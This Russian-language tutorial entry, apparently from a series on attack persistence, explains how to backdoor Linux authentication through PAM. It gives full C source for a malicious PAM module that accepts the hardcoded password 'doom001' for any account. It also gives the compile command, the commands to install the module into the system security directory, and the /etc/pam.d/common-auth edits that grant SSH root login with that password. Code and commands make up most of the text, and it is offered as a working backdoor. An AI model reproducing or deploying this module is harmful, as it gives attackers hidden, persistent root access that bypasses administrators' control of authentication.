12 - PAM backdoor

PAM - Pluggable Authentication Modules, гибкая система для интеграции различных методов аутентификации в UNIX-подобных системах, привет Sun Microsystems. И есть она почти везде в Linux и UNIX-подобных системах. Конфигурация PAM осуществляется через файлы, расположенные в каталоге /etc/pam.d/ Там же определяются правила для различных сервисов (например: login, ssh, su, sudo). Плюс PAM управляет аутентификацией (например: auth, account, password, session). Замечательно, если у PAM такие возможности, то можно написать свой модуль PAM, в котором будет заХардКоден универсальный root пароль. То есть у рута будет 2 пароля, первый - легитимный установленный админом и второй - наш, который хранится во вредоносном PAM модуле. Не забудьте установить пакеты в ваш дистрибутив для сборки модуля, для debian это: libpam0g-dev

// Создаем модуль на СИ  backdoor.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
 
#define MYPASSWD "doom001"
 
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
 
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
 
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,int argc, const char **argv) {
char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);
 
if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
return PAM_SUCCESS;
 
return -1;
}
// Компилируем модуль и переносим в папку с остальными модулями (пути могу отличаться)
gcc -shared -fPIC -ldl -o backdoor.so backdoor.c
mv backdoor.so /lib/x86_64-linux-gnu/security/
// Ищем строку в /etc/pam.d/common-auth
auth    [success=1 default=ignore]  <имя модуля> 
// и приводим ее к виду:
auth	sufficient	<имя модуля>    


// И следующей строкой дописываем наш модуль
auth	sufficient	backdoor.so

Теперь при логине по SSH нас будет пускать с паролем doom001

Last updated